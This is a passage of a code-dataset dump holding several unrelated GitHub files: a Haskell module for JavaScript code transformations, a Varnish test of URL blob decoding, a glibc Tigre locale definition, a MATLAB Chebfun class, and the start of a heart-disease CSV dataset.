text
stringlengths
5
99.8k
meta
dict
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% Encapsulation of JavaScript transformations %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%[(8 codegen javascript) hs module {%{EH}JavaScript.Trf} %%] -- general imports %%[(8 codegen javascript) import(qualified Data.Map as Map, qualified Data.Set as Set) %%] %%[(8 codegen javascript) import(Control.Monad) %%] %%[(8 codegen javascript) import({%{EH}Base.Target},{%{EH}Base.Optimize}) %%] %%[(8 codegen javascript) import({%{EH}EHC.Common}) %%] -- JavaScript %%[(8 codegen javascript) import({%{EH}JavaScript}) %%] -- JavaScript transformations %%[(8 codegen javascript) import({%{EH}JavaScript.Trf.InlineSingleUseNames}) %%] %%[(8 codegen javascript) import({%{EH}JavaScript.Trf.CompactAndSimplify}) %%] -- Transformation utils %%[(8 codegen javascript) import({%{EH}CodeGen.TrfUtils}) %%] %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% Interface to transformations, used internally as state %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%[(8 codegen javascript) export(TrfJavaScript,emptyTrfJavaScript) type TrfJavaScript = TrfState JavaScriptModule () emptyTrfJavaScript :: TrfJavaScript emptyTrfJavaScript = mkEmptyTrfState emptyJavaScriptModule () %%] %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% Running the transformations + checks %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%[(8 codegen javascript) export(trfJavaScript) -- | Perform JavaScript transformations. -- The 'optimScope' tells at which compilation phase (per module, whole program) the transformations are done, default only per module trfJavaScript :: EHCOpts -> OptimizationScope -> HsName -> TrfJavaScript -> TrfJavaScript trfJavaScript opts optimScope modNm trfjs -- = execState trf trfjs = runTrf opts modNm ehcOptDumpJavaScriptStages (optimScope `elem`) trfjs trf where trf = do { -- initial is just to obtain JavaScript for dumping stages t_initial -- removal of unnecessary name introductions, in particular singly used ones ; t_inl_names -- compactify and simplify further, trivial stuff like making names shorter ; t_comp_simpl } -- actual transformations t_initial = liftTrfModPlain osm "initial" $ id t_inl_names = liftTrfModPlain osm "inl-names" $ cmodTrfInlineSingleUseNames t_comp_simpl = liftTrfModPlain osm "comp-simpl" $ jsmodTrfCompactAndSimplify -- abbreviations for optimatisation scope osm = [OptimizationScope_PerModule] %%]
{ "pile_set_name": "Github" }
varnishtest "VMOD blob decode() n chars with URL" varnish v1 -vcl { import blob; import std; backend b None; sub vcl_recv { return(synth(200)); } sub vcl_synth { set req.http.urllcfoobar = "foo%3abar%3abaz%3aquux"; set req.http.urlucfoobar = "foo%3Abar%3Abaz%3Aquux"; set req.http.urlhobbeslc = "Man%20is%20distinguished%2c%20not%20only%20by%20his%20reason%2c%20but%20by%20this%20singular%20passion%20from%20other%20animals%2c%20which%20is%20a%20lust%20of%20the%20mind%2c%20that%20by%20a%20perseverance%20of%20delight%20in%20the%20continued%20and%20indefatigable%20generation%20of%20knowledge%2c%20exceeds%20the%20short%20vehemence%20of%20any%20carnal%20pleasure."; set req.http.urlhobbesuc = "Man%20is%20distinguished%2C%20not%20only%20by%20his%20reason%2C%20but%20by%20this%20singular%20passion%20from%20other%20animals%2C%20which%20is%20a%20lust%20of%20the%20mind%2C%20that%20by%20a%20perseverance%20of%20delight%20in%20the%20continued%20and%20indefatigable%20generation%20of%20knowledge%2C%20exceeds%20the%20short%20vehemence%20of%20any%20carnal%20pleasure."; set req.http.urllcumlauts = "%c3%9cbergr%c3%b6%c3%9fentr%c3%a4ger"; set req.http.urlucumlauts = "%C3%9Cbergr%C3%B6%C3%9Fentr%C3%A4ger"; set req.http.urllcphk = "sm%c3%a5b%c3%b8rnsp%c3%a6dagog"; set req.http.urlucphk = "sm%C3%A5b%C3%B8rnsp%C3%A6dagog"; set req.http.urllcutf8 = "%e6%97%a5%e6%89%bc%e8%aa%9e"; set req.http.urlucutf8 = "%E6%97%A5%E6%89%BC%E8%AA%9E"; set req.http.urlalluc = "%00%01%02%03%04%05%06%07%08%09%0A%0B%0C%0D%0E%0F%10%11%12%13%14%15%16%17%18%19%1A%1B%1C%1D%1E%1F%20%21%22%23%24%25%26%27%28%29%2A%2B%2C-.%2F0123456789%3A%3B%3C%3D%3E%3F%40ABCDEFGHIJKLMNOPQRSTUVWXYZ%5B%5C%5D%5E_%60abcdefghijklmnopqrstuvwxyz%7B%7C%7D~%7F%80%81%82%83%84%85%86%87%88%89%8A%8B%8C%8D%8E%8F%90%91%92%93%94%95%96%97%98%99%9A%9B%9C%9D%9E%9F%A0%A1%A2%A3%A4%A5%A6%A7%A8%A9%AA%AB%AC%AD%AE%AF%B0%B1%B2%B3%B4%B5%B6%B7%B8%B9%BA%BB%BC%BD%BE%BF%C0%C1%C2%C3%C4%C5%C6%C7%C8%C9%CA%CB%CC%CD%CE%CF%D0%D1%D2%D3%D4%D5%D6%D7%D8%D9%DA%DB%DC%DD%DE%DF%E0%E1%E2%E3%E4%E5%E6%E7%E8%E9%EA%EB%EC%ED%EE%EF%F0%F1%F2%F3%F4%F5%F6%F7%F8%F9%FA%FB%FC%FD%FE%FF"; set req.http.urlalllc = "%00%01%02%03%04%05%06%07%08%09%0a%0b%0c%0d%0e%0f%10%11%12%13%14%15%16%17%18%19%1a%1b%1c%1d%1e%1f%20%21%22%23%24%25%26%27%28%29%2a%2b%2c-.%2f0123456789%3a%3b%3c%3d%3e%3f%40ABCDEFGHIJKLMNOPQRSTUVWXYZ%5b%5c%5d%5e_%60abcdefghijklmnopqrstuvwxyz%7b%7c%7d~%7f%80%81%82%83%84%85%86%87%88%89%8a%8b%8c%8d%8e%8f%90%91%92%93%94%95%96%97%98%99%9a%9b%9c%9d%9e%9f%a0%a1%a2%a3%a4%a5%a6%a7%a8%a9%aa%ab%ac%ad%ae%af%b0%b1%b2%b3%b4%b5%b6%b7%b8%b9%ba%bb%bc%bd%be%bf%c0%c1%c2%c3%c4%c5%c6%c7%c8%c9%ca%cb%cc%cd%ce%cf%d0%d1%d2%d3%d4%d5%d6%d7%d8%d9%da%db%dc%dd%de%df%e0%e1%e2%e3%e4%e5%e6%e7%e8%e9%ea%eb%ec%ed%ee%ef%f0%f1%f2%f3%f4%f5%f6%f7%f8%f9%fa%fb%fc%fd%fe%ff"; set resp.http.decuc = blob.encode(IDENTITY, blob=blob.decode(URL, 9, req.http.urlucfoobar)); set resp.http.declc = blob.encode(IDENTITY, blob=blob.decode(URL, 12, req.http.urllcfoobar)); set resp.http.dechobbesuc = blob.encode(IDENTITY, blob=blob.decode(URL, 27, req.http.urlhobbesuc)); set resp.http.dechobbeslc = blob.encode(IDENTITY, blob=blob.decode(URL, 27, req.http.urlhobbeslc)); set resp.http.decumlautsuc = blob.encode(IDENTITY, blob=blob.decode(URL, 17, req.http.urlucumlauts)); set resp.http.decumlautslc = blob.encode(IDENTITY, blob=blob.decode(URL, 25, req.http.urllcumlauts)); set resp.http.decphkuc = blob.encode(IDENTITY, blob=blob.decode(URL, 18, req.http.urlucphk)); set resp.http.decphklc = blob.encode(IDENTITY, blob=blob.decode(URL, 30, req.http.urllcphk)); set resp.http.decutf8uc = blob.encode(IDENTITY, blob=blob.decode(URL, 9, req.http.urlucutf8)); set resp.http.decutf8lc = blob.encode(IDENTITY, blob=blob.decode(URL, 18, req.http.urllcutf8)); set resp.http.decalluc = blob.encode(HEX, blob=blob.decode(URL, 252, req.http.urlalluc)); set resp.http.decalllc = blob.encode(HEX, UPPER, blob.decode(URL, 252, req.http.urlalllc)); set resp.http.decempty = blob.encode(IDENTITY, blob=blob.decode(URL, 10, "")); set resp.http.decemptybyte = blob.encode(IDENTITY, blob=blob.decode(URL, 3, "%00")); set resp.http.decemptypieces = blob.encode(IDENTITY, blob=blob.decode(URL, 1, req.http.unset + "" + req.http.unset + "")); set req.http.part1 = "foo%"; set resp.http.dec2pieces = blob.encode(IDENTITY, blob=blob.decode(URL, 6, req.http.part1 + "20bar%20baz%20quux")); set req.http.part2 = "0quux"; set resp.http.dec3param = blob.encode(blob=blob.decode(encoded=req.http.part1 + "20bar%20baz%2" + req.http.part2, decoding=URL, length=12), encoding=IDENTITY); set resp.http.dec3pieces = blob.encode(IDENTITY, blob=blob.decode(URL, 18, req.http.part1 + "20bar%20baz%2" + req.http.part2)); set resp.http.decmanypieces = blob.encode(IDENTITY, blob=blob.decode(URL, 24, "" + req.http.unset + req.http.part1 + req.http.unset + "" + req.http.unset + "" + "20bar%20baz%2" + "" + req.http.unset + req.http.part2 + req.http.unset + "" + req.http.unset)); } } -start client c1 { txreq rxresp expect resp.http.decuc == "foo:bar" expect resp.http.declc == "foo:bar:" expect resp.http.dechobbesuc == "Man is distinguished," expect resp.http.dechobbeslc == "Man is distinguished," expect resp.http.decumlautsuc == "Übergrö" expect resp.http.decumlautslc == "Übergrößen" expect resp.http.decphkuc == "småbørns" expect resp.http.decphklc == "småbørnspædagog" expect resp.http.decutf8uc == "日" expect resp.http.decutf8lc == "日扼" expect resp.http.decalluc == "000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f" expect resp.http.decalllc == "000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F" expect resp.http.decempty == "" expect resp.http.decemptybyte == "" expect resp.http.decemptypieces == "" expect resp.http.dec2pieces == "foo " expect resp.http.dec3pieces == "foo bar baz " expect resp.http.dec3param == "foo bar " expect resp.http.decmanypieces == "foo bar baz quux" } -run # Decode failures server s1 -repeat 4 { rxreq txresp } -start varnish v1 -vcl+backend { import blob; sub vcl_deliver { if (req.url == "/percent") { set resp.http.bad = blob.encode(URL, UPPER, blob.decode(URL, 1, "%20")); } elsif (req.url == "/percent-two") { set resp.http.bad = blob.encode(URL, UPPER, blob.decode(URL, 2, "%20")); } elsif (req.url == "/comma") { set resp.http.good = blob.encode(IDENTITY, blob= blob.decode(URL, 3, "%2c%q")); } elsif (req.url == "/colon") { set resp.http.good = blob.encode(IDENTITY, blob= blob.decode(URL, 3, "%3a%2q")); } } } client c1 { txreq -url /comma rxresp expect resp.status == 200 expect resp.http.good == "," txreq -url /colon rxresp expect resp.status == 200 expect resp.http.good == ":" txreq -url /percent rxresp expect resp.status == 503 expect resp.reason == "VCL failed" expect resp.http.bad == <undef> } -run client c1 { txreq -url /percent-two rxresp expect resp.status == 503 expect resp.reason == "VCL failed" expect resp.http.bad == <undef> } -run logexpect l1 -v v1 -d 1 -g vxid -q "VCL_Error" { expect * * VCL_Error "^vmod blob error: cannot decode, illegal encoding beginning with \"%20\"$" expect * * VCL_Error "^vmod blob error: cannot decode, illegal encoding beginning with \"%20\"$" } -run
{ "pile_set_name": "Github" }
comment_char % escape_char / %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Tigre language locale for Eritrea. % % Charset: UTF-8 % % Tigre terms are provided by Mussie Bekit with coordination by the % Shimagale Team <http://www.shimagle.com/>. Prepared and contributed % to glibc by Daniel Yacob <locales@geez.org> % % build with: localedef -f UTF-8 -i tig_ER tig_ER % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LC_IDENTIFICATION title "Tigre language locale for Eritrea" source "Ge'ez Frontier Foundation" address "7802 Solomon Seal Dr., Springfield, VA 22152, USA" contact "" email "locales@geez.org" tel "" fax "" language "tig" territory "ER" revision "0.20" date "2003-07-05" % category "i18n:2000";LC_IDENTIFICATION category "i18n:2000";LC_COLLATE category "i18n:2000";LC_CTYPE category "i18n:2000";LC_MEASUREMENT category "i18n:2000";LC_MONETARY category "posix:1993";LC_NUMERIC category "i18n:2000";LC_PAPER category "i18n:2000";LC_TELEPHONE category "i18n:2000";LC_ADDRESS category "i18n:2000";LC_MESSAGES category "i18n:2000";LC_NAME category "i18n:2000";LC_TIME % END LC_IDENTIFICATION %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Ethiopic Specifc Data: % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LC_COLLATE copy "ti_ER" END LC_COLLATE LC_CTYPE copy "ti_ER" END LC_CTYPE %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Eritrea Specifc Data: % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LC_MEASUREMENT copy "ti_ER" END LC_MEASUREMENT LC_MONETARY copy "ti_ER" END LC_MONETARY LC_NUMERIC copy "ti_ER" END LC_NUMERIC LC_PAPER copy "ti_ER" END LC_PAPER LC_TELEPHONE copy "ti_ER" END LC_TELEPHONE %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Tigre Specific Data: % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LC_MESSAGES copy "ti_ER" END LC_MESSAGES LC_NAME copy "ti_ER" END LC_NAME %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % Tigre/ER Specific Data: % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LC_ADDRESS % % This is the ISO_IEC TR14652 Locale definition for the LC_ADDRESS category. % postal_fmt "<U0025><U007A><U0025><U0063><U0025><U0054><U0025><U0073>/ <U0025><U0062><U0025><U0065><U0025><U0072>" country_name "<U12A4><U122D><U1275><U122B>" country_post "<U0045><U0052><U0049>" country_ab2 "<U0045><U0052>" country_ab3 "<U0045><U0052><U0049>" country_num 232 % country_car unknown % country_isbn unknown, Need ISO 2108 lang_name "<U1275><U130D><U1228>" lang_ab "" lang_term "<U0074><U0069><U0067>" lang_lib "<U0074><U0069><U0067>" % END LC_ADDRESS LC_TIME % % Abbreviated weekday names (%a) % abday "<U1230><U002F><U12D3>";/ "<U1230><U1296><U0020>";/ "<U1273><U120B><U1238>";/ "<U12A3><U1228><U122D>";/ "<U12A8><U121A><U123D>";/ "<U1305><U121D><U12D3>";/ "<U1230><U002F><U1295>" % % Full weekday names (%A) % day "<U1230><U1295><U1260><U1275> <U12D3><U1263><U12ED>";/ "<U1230><U1296>";/ "<U1273><U120B><U1238><U1296>";/ "<U12A3><U1228><U122D><U1263><U12D3>";/ "<U12A8><U121A><U123D>";/ "<U1305><U121D><U12D3><U1275>";/ "<U1230><U1295><U1260><U1275> <U1295><U12A2><U123D>" % % Abbreviated month names (%b) % abmon "<U1325><U122A><U0020>";/ "<U1208><U12AB><U1272>";/ "<U1218><U130B><U1262>";/ "<U121A><U12EB><U12DD>";/ "<U130D><U1295><U1266>";/ "<U1230><U1290><U0020>";/ "<U1213><U121D><U1208>";/ "<U1290><U1213><U1230>";/ "<U1218><U1235><U12A8>";/ "<U1325><U1245><U121D>";/ "<U1215><U12F3><U122D>";/ "<U1273><U1215><U1233>" % % Full month names (%B) % mon "<U1325><U122A>";/ "<U1208><U12AB><U1272><U1275>";/ "<U1218><U130B><U1262><U1275>";/ "<U121A><U12EB><U12DD><U12EB>";/ "<U130D><U1295><U1266><U1275>";/ "<U1230><U1290>";/ "<U1213><U121D><U1208>";/ "<U1290><U1213><U1230>";/ "<U1218><U1235><U12A8><U1228><U121D>";/ "<U1325><U1245><U121D><U1272>";/ "<U1215><U12F3><U122D>";/ "<U1273><U1215><U1233><U1235>" % % % Equivalent of AM PM % am_pm "<U1240><U12F0><U121D><U0020><U1230><U122D><U0020><U121D><U12D5><U120D>";/ "<U1213><U1246><U0020><U1230><U122D><U0020><U121D><U12D5><U120D>" % % Appropriate date representation (%x) % "%d/%m/%Y" % d_fmt "<U0025><U0064><U002F><U0025><U006D><U002F><U0025><U0059>" % % Appropriate time representation (%X) % "%l:%M:%S" % t_fmt "<U0025><U006C><U003A><U0025><U004D><U003A><U0025><U0053>" % % Appropriate AM/PM time representation (%r) % "%X %p" % t_fmt_ampm "<U0025><U0058><U0020><U0025><U0070>" % % Appropriate date and time representation (%c) % "%A፡ %B %e ዮም %Y %r %Z % d_t_fmt "<U0025><U0041><U1361><U0020><U0025><U0042><U0020><U0025><U0065>/ <U0020><U12EE><U121D>/ <U0020><U0025><U0059><U0020><U0025><U0072><U0020><U0025><U005A>" % % Appropriate date representation (date(1)) % "%A፡ %B %e ዮም %r %Z %Y ዓ/ም % date_fmt "<U0025><U0041><U1361><U0020><U0025><U0042><U0020><U0025><U0065>/ <U0020><U12EE><U121D>/ <U0020><U0025><U0072><U0020><U0025><U005A><U0020><U0025><U0059>/ <U0020><U12D3><U002F><U121D>" % END LC_TIME %
{ "pile_set_name": "Github" }
classdef (InferiorClasses = {?chebfun}) linBlock %LINBLOCK Linear operator on a single function. % This class is not intended to be called directly by the end user. % % See also LINOP, CHEBOP, CHEBOPPREF. % Copyright 2017 by The University of Oxford and The Chebfun Developers. % See http://www.chebfun.org/ for Chebfun information. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % DEVELOPER NOTE: % % A LINBLOCK is an abstract representation of a linear operator on a single % function defined on a fixed domain. Its main purpose is to maintain an % unevaluated stack of algebraic steps operating on predefined building blocks. % It also keeps track of the differential order of the operator. % % The reason for the 'Block' name is that these objects can be a block entry in % a chebmatrix, for operators that apply to a mixture of multiple functions and % scalars. The preferred usage externally is to create a 1x1 chebmatrix or linop % rather than to manipulate the blocks themselves. % % The stack is used three different ways within the system: % (1) Replace the building blocks with appropriate matrices, and then % apply the algebra. (I.e., collocation.) % (2) Derive the coefficients of each power of the derivative. % (See the method toCoeff.) % (3) Convert to a callable function that can be applied directly to a % CHEBFUN. (See the method toFunction.) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% CLASS PROPERTIES: %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% properties ( Access = public ) % The domain of CHEBFUN objects that are operated upon. domain = []; % The delayed evaluation stack. Its argument is an empty % instance of the class that determines how the operator is % discretized. stack = []; % Used to track differential order. diffOrder = 0; % Is the operator the zero operator or the zero functional? Usually not, % so default value is set to FALSE: iszero = false; % Is the operator a pure evaluation or multiplication operator, i.e. one % that does not involve differentiation or integration? For % operatorBlocks, in oldschool collocation mode (before rectangular % projection became the standard approach), this would amount to a % diagonal operator. For functionalBlocks, these kind of functionals % usually correspond to evaluation at a point, or inner products with % chebfuns. isNotDiffOrInt = false; end %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% CLASS CONSTRUCTOR: %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% methods ( Access = public, Static = false ) function A = linBlock(varargin) % A = LINBLOCK() Use the default preference domain. % A = LINBLOCK(B) Self-return for the same type. % A = LINBLOCK(DOMAIN) Null object on the domain. if ( nargin == 0 ) p = cheboppref(); A.domain = p.domain; elseif ( (nargin == 1) && isa(varargin{1}, 'linBlock') ) A = varargin{1}; return else A.domain = varargin{1}; end end end %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% CLASS METHODS: %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% methods ( Access = public, Static = false ) function f = toFunction(A) % Convert the LINBLOCK to a callable anonymous function that can be % applied to a CHEBFUN. B = blockFunction(A); f = B.func; end function c = toCoeff(A, varargin) % Convert the LINBLOCK to a CHEBFUN of coefficients multiplying the % powers of the derivative. B = blockCoeff(A, varargin{:}); c = chebmatrix(B.coeffs); end function C = minus(A, B) C = A + (-B); end function C = horzcat(varargin) kill = cellfun(@isempty, varargin); % skip empties C = chebmatrix(varargin(~kill)); end function spy(A, varargin) % The CHEBMATRIX class implements a SPY method, which is precisely % what we want: spy(chebmatrix({A}), varargin{:}); end function C = vertcat(varargin) kill = cellfun(@isempty, varargin); % skip empties C = chebmatrix(varargin(~kill)'); end end end
{ "pile_set_name": "Github" }
row.names,sbp,tobacco,ldl,adiposity,famhist,typea,obesity,alcohol,age,chd 1,160,12.00, 5.73,23.11,Present,49,25.30, 97.20,52,1 2,144, 0.01, 4.41,28.61,Absent,55,28.87, 2.06,63,1 3,118, 0.08, 3.48,32.28,Present,52,29.14, 3.81,46,0 4,170, 7.50, 6.41,38.03,Present,51,31.99, 24.26,58,1 5,134,13.60, 3.50,27.78,Present,60,25.99, 57.34,49,1 6,132, 6.20, 6.47,36.21,Present,62,30.77, 14.14,45,0 7,142, 4.05, 3.38,16.20,Absent,59,20.81, 2.62,38,0 8,114, 4.08, 4.59,14.60,Present,62,23.11, 6.72,58,1 9,114, 0.00, 3.83,19.40,Present,49,24.86, 2.49,29,0 10,132, 0.00, 5.80,30.96,Present,69,30.11, 0.00,53,1 11,206, 6.00, 2.95,32.27,Absent,72,26.81, 56.06,60,1 12,134,14.10, 4.44,22.39,Present,65,23.09, 0.00,40,1 13,118, 0.00, 1.88,10.05,Absent,59,21.57, 0.00,17,0 14,132, 0.00, 1.87,17.21,Absent,49,23.63, 0.97,15,0 15,112, 9.65, 2.29,17.20,Present,54,23.53, 0.68,53,0 16,117, 1.53, 2.44,28.95,Present,35,25.89, 30.03,46,0 17,120, 7.50,15.33,22.00,Absent,60,25.31, 34.49,49,0 18,146,10.50, 8.29,35.36,Present,78,32.73, 13.89,53,1 19,158, 2.60, 7.46,34.07,Present,61,29.30, 53.28,62,1 20,124,14.00, 6.23,35.96,Present,45,30.09, 0.00,59,1 21,106, 1.61, 1.74,12.32,Absent,74,20.92, 13.37,20,1 22,132, 7.90, 2.85,26.50,Present,51,26.16, 25.71,44,0 23,150, 0.30, 6.38,33.99,Present,62,24.64, 0.00,50,0 24,138, 0.60, 3.81,28.66,Absent,54,28.70, 1.46,58,0 25,142,18.20, 4.34,24.38,Absent,61,26.19, 0.00,50,0 26,124, 4.00,12.42,31.29,Present,54,23.23, 2.06,42,1 27,118, 6.00, 9.65,33.91,Absent,60,38.80, 0.00,48,0 28,145, 9.10, 5.24,27.55,Absent,59,20.96, 21.60,61,1 29,144, 4.09, 5.55,31.40,Present,60,29.43, 5.55,56,0 30,146, 0.00, 6.62,25.69,Absent,60,28.07, 8.23,63,1 31,136, 2.52, 3.95,25.63,Absent,51,21.86, 0.00,45,1 32,158, 1.02, 6.33,23.88,Absent,66,22.13, 24.99,46,1 33,122, 6.60, 5.58,35.95,Present,53,28.07, 12.55,59,1 34,126, 8.75, 6.53,34.02,Absent,49,30.25, 0.00,41,1 35,148, 5.50, 7.10,25.31,Absent,56,29.84, 3.60,48,0 36,122, 4.26, 4.44,13.04,Absent,57,19.49, 48.99,28,1 37,140, 3.90, 7.32,25.05,Absent,47,27.36, 36.77,32,0 38,110, 4.64, 4.55,30.46,Absent,48,30.90, 15.22,46,0 39,130, 0.00, 2.82,19.63,Present,70,24.86, 0.00,29,0 40,136,11.20, 5.81,31.85,Present,75,27.68, 22.94,58,1 41,118, 0.28, 5.80,33.70,Present,60,30.98, 0.00,41,1 42,144, 0.04, 3.38,23.61,Absent,30,23.75, 4.66,30,0 43,120, 0.00, 1.07,16.02,Absent,47,22.15, 0.00,15,0 44,130, 2.61, 2.72,22.99,Present,51,26.29, 13.37,51,1 45,114, 0.00, 2.99, 9.74,Absent,54,46.58, 0.00,17,0 46,128, 4.65, 3.31,22.74,Absent,62,22.95, 0.51,48,0 47,162, 7.40, 8.55,24.65,Present,64,25.71, 5.86,58,1 48,116, 1.91, 7.56,26.45,Present,52,30.01, 3.60,33,1 49,114, 0.00, 1.94,11.02,Absent,54,20.17, 38.98,16,0 50,126, 3.80, 3.88,31.79,Absent,57,30.53, 0.00,30,0 51,122, 0.00, 5.75,30.90,Present,46,29.01, 4.11,42,0 52,134, 2.50, 3.66,30.90,Absent,52,27.19, 23.66,49,0 53,152, 0.90, 9.12,30.23,Absent,56,28.64, 0.37,42,1 54,134, 8.08, 1.55,17.50,Present,56,22.65, 66.65,31,1 55,156, 3.00, 1.82,27.55,Absent,60,23.91, 54.00,53,0 56,152, 5.99, 7.99,32.48,Absent,45,26.57,100.32,48,0 57,118, 0.00, 2.99,16.17,Absent,49,23.83, 3.22,28,0 58,126, 5.10, 2.96,26.50,Absent,55,25.52, 12.34,38,1 59,103, 0.03, 4.21,18.96,Absent,48,22.94, 2.62,18,0 60,121, 0.80, 5.29,18.95,Present,47,22.51, 0.00,61,0 61,142, 0.28, 1.80,21.03,Absent,57,23.65, 2.93,33,0 62,138, 1.15, 5.09,27.87,Present,61,25.65, 2.34,44,0 63,152,10.10, 4.71,24.65,Present,65,26.21, 24.53,57,0 64,140, 0.45, 4.30,24.33,Absent,41,27.23, 10.08,38,0 65,130, 0.00, 1.82,10.45,Absent,57,22.07, 2.06,17,0 66,136, 7.36, 2.19,28.11,Present,61,25.00, 61.71,54,0 67,124, 4.82, 3.24,21.10,Present,48,28.49, 8.42,30,0 68,112, 0.41, 1.88,10.29,Absent,39,22.08, 20.98,27,0 69,118, 4.46, 7.27,29.13,Present,48,29.01, 11.11,33,0 70,122, 0.00, 3.37,16.10,Absent,67,21.06, 0.00,32,1 71,118, 0.00, 3.67,12.13,Absent,51,19.15, 0.60,15,0 72,130, 1.72, 2.66,10.38,Absent,68,17.81, 11.10,26,0 73,130, 5.60, 3.37,24.80,Absent,58,25.76, 43.20,36,0 74,126, 0.09, 5.03,13.27,Present,50,17.75, 4.63,20,0 75,128, 0.40, 6.17,26.35,Absent,64,27.86, 11.11,34,0 76,136, 0.00, 4.12,17.42,Absent,52,21.66, 12.86,40,0 77,134, 0.00, 5.90,30.84,Absent,49,29.16, 0.00,55,0 78,140, 0.60, 5.56,33.39,Present,58,27.19, 0.00,55,1 79,168, 4.50, 6.68,28.47,Absent,43,24.25, 24.38,56,1 80,108, 0.40, 5.91,22.92,Present,57,25.72, 72.00,39,0 81,114, 3.00, 7.04,22.64,Present,55,22.59, 0.00,45,1 82,140, 8.14, 4.93,42.49,Absent,53,45.72, 6.43,53,1 83,148, 4.80, 6.09,36.55,Present,63,25.44, 0.88,55,1 84,148,12.20, 3.79,34.15,Absent,57,26.38, 14.40,57,1 85,128, 0.00, 2.43,13.15,Present,63,20.75, 0.00,17,0 86,130, 0.56, 3.30,30.86,Absent,49,27.52, 33.33,45,0 87,126,10.50, 4.49,17.33,Absent,67,19.37, 0.00,49,1 88,140, 0.00, 5.08,27.33,Present,41,27.83, 1.25,38,0 89,126, 0.90, 5.64,17.78,Present,55,21.94, 0.00,41,0 90,122, 0.72, 4.04,32.38,Absent,34,28.34, 0.00,55,0 91,116, 1.03, 2.83,10.85,Absent,45,21.59, 1.75,21,0 92,120, 3.70, 4.02,39.66,Absent,61,30.57, 0.00,64,1 93,143, 0.46, 2.40,22.87,Absent,62,29.17, 15.43,29,0 94,118, 4.00, 3.95,18.96,Absent,54,25.15, 8.33,49,1 95,194, 1.70, 6.32,33.67,Absent,47,30.16, 0.19,56,0 96,134, 3.00, 4.37,23.07,Absent,56,20.54, 9.65,62,0 97,138, 2.16, 4.90,24.83,Present,39,26.06, 28.29,29,0 98,136, 0.00, 5.00,27.58,Present,49,27.59, 1.47,39,0 99,122, 3.20,11.32,35.36,Present,55,27.07, 0.00,51,1 100,164,12.00, 3.91,19.59,Absent,51,23.44, 19.75,39,0 101,136, 8.00, 7.85,23.81,Present,51,22.69, 2.78,50,0 102,166, 0.07, 4.03,29.29,Absent,53,28.37, 0.00,27,0 103,118, 0.00, 4.34,30.12,Present,52,32.18, 